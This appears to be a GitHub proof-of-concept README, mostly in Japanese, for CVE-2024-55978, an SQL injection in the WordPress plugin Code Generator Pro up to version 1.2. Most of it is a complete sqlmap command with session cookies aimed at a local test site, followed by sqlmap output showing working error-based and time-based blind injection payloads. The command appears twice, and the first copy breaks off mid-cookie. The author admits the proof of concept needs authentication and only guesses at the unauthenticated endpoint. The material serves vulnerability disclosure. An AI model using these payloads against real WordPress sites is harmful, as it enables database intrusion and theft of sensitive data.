randomrobbiebf/cve-2024-55978Code Generator Pro <= 1.2 - 未認証SQLインジェクション
Code Generator Pro <= 1.2 - 未認証SQLインジェクション
WordPress 用 Code Generator Pro プラグインは、バージョン 1.2 以前において、ユーザー指定パラメータのエスケープが不十分であり、既存の SQL クエリの事前準備が不足しているため、SQL インジェクションに対して脆弱です。これにより、未認証の攻撃者が既存のクエリに追加の SQL クエリを付加し、データベースから機密情報を抽出できる可能性があります。
POC は認証済みのものですが、脆弱なのは別のエンドポイントだと思います。code-generator-pro/style.php が疑わしいですが、まだセットアップする時間がありません。
sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%(base) Roberts-MBP:~ rwiggins$ python3 /Users/rwiggins/tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0;user_age_data=YWdlX3ZlcmlmaWNhdGlvbl9wbHVnaW4=;wordpress_test_cookie=WP%20Cookie%20check;sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F;wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C7c28d70808d0a70bb28aeca97ec259a3f3b0aeb7cc0c4e535576999fd5dba9d1'
sqlmap identified the following injection point(s) with a total of 1490 HTTP(s) requests:
---
Parameter: Array-like #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: code_generator_add_code_code=test'||(SELECT 0x55704c57 WHERE 1247=1247 AND (SELECT 7738 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT (ELT(7738=7738,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: code_generator_add_code_code=test'||(SELECT 0x52696578 WHERE 7877=7877 AND (SELECT 8438 FROM (SELECT(SLEEP(5)))DAxL))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
---
[13:24:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)